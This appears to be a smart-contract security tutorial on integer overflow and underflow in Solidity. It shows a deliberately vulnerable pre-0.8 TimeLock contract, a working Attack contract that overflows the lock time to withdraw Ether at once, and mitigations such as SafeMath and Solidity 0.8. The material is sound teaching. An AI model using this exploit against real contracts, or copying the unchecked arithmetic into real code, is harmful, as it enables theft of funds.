# Arithmetic Overflow and Underflow

In Solidity versions before 0.8, integers could overflow or underflow without any errors. This could lead to serious vulnerabilities in your smart contracts. However, starting from Solidity 0.8, the default behavior for overflow and underflow is to throw an error, which helps prevent such vulnerabilities.

## Arithmetic Overflow

Arithmetic overflow is a condition that occurs when a calculation produces a result that is greater in magnitude than that which a given register or storage location can store or represent.

For instance, consider a `uint8` , which can only have 8 bits. That means the largest number it can store is binary `11111111` (in decimal 2^8−1=255). If you try to store a value greater than this, it will cause an overflow.

Here’s an example in Solidity:

```solidity
uint8 balance = 255;
balance++; // Overflow!
```

If you execute the code above the “balance” will be 0. This is a simple example of overflow. If you add 1 to the binary `11111111`, it resets back to `00000000`.

## Arithmetic Underflow

Arithmetic underflow is the opposite of an overflow. It occurs when a calculation produces a value too low to be stored in the associated data type. This would cause the calculation to wrap around and start from the next largest possible value.

For instance, consider a `uint8` in Solidity. The smallest number it can hold is `0`. If you try to subtract `1` from a `uint8` that is `0`, it will cause an underflow.

Here’s an example in Solidity:

```solidity
uint8 balance = 0;
balance--; // Underflow!
```

If you execute the code above the “balance” will be `255`. This is a simple example of underflow. If you subtract `1` from `0`, it wraps around to `255`.

## The TimeLock Contract

Consider a contract designed to act as a time vault. Users can deposit into this contract but cannot withdraw for at least a week. They can also extend the wait time beyond the 1-week waiting period.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
```

The `TimeLock` contract is designed to act as a time vault. Users can deposit Ether into this contract but cannot withdraw for at least a week. They can also extend the wait time beyond the 1-week waiting period.

The `deposit` function allows a user to deposit Ether and sets a `lockTime` for their address to the current `block.timestamp` plus 1 week.

The `increaseLockTime` function allows a user to increase their `lockTime` by a specified number of seconds.

The `withdraw` function allows a user to withdraw their Ether after their `lockTime` has passed

An attacker could exploit the overflow vulnerability in the `increaseLockTime` function to immediately withdraw their ether, bypassing the 1-week waiting period.

## The Attack

Here’s how the attack works:

```solidity
contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}
```

The `Attack` contract is designed to exploit an overflow vulnerability in the `TimeLock` contract.

The `attack` function works as follows:

1. It calls the `deposit` function of the `TimeLock` contract to deposit some Ether and set a `lockTime`.
2. It then calls the `increaseLockTime` function with a carefully chosen value that causes the `lockTime` to overflow.
3. Finally, it calls the `withdraw` function to withdraw the Ether immediately, bypassing the intended 1-week waiting period.

let’s break down the calculation:

```solidity
timeLock.increaseLockTime(
    type(uint).max + 1 - timeLock.lockTime(address(this))
);
```

Here’s what’s happening:

1. `type(uint).max` is the maximum value that a `uint` (unsigned integer) can hold in Solidity. For a `uint256` (which is the default `uint` in Solidity), this value is 2^256−1.
2. `timeLock.lockTime(address(this))` is the current `lockTime` of the `Attack` contract in the `TimeLock` contract.
3. `type(uint).max + 1 - timeLock.lockTime(address(this))` calculates the value that, when added to the current `lockTime`, will cause it to overflow.

Let’s say the current `lockTime` is `t`. The calculation is finding an `x` such that `x + t = 2**256`, which would cause an overflow. Rearranging the equation gives `x = 2**256 - t`. Since `2**256` is equivalent to `type(uint).max + 1`, the calculation becomes `x = type(uint).max + 1 - t`.

So, the `increaseLockTime` function is called with a value that will cause the `lockTime` to overflow and wrap around to a small number, allowing the attacker to withdraw their Ether immediately.

## Preventative Techniques

To prevent arithmetic overflow and underflow, you can use the SafeMath library, which provides functions for arithmetic operations that throw an error on overflow and underflow. This can help ensure the safety of your smart contracts.

Starting from Solidity 0.8, the language defaults to throwing an error for overflow and underflow. This significant improvement helps secure your contracts against these types of vulnerabilities.

## Conclusion

Understanding how arithmetic overflow and underflow work and how they can be exploited is crucial for writing secure smart contracts. You can protect your contracts from these vulnerabilities by using preventative techniques such as SafeMath or upgrading to Solidity 0.8 or later. Always remember, that security should be a top priority when developing smart contracts.

## Reference

{% embed url="<https://solidity-by-example.org/hacks/overflow/>" %}
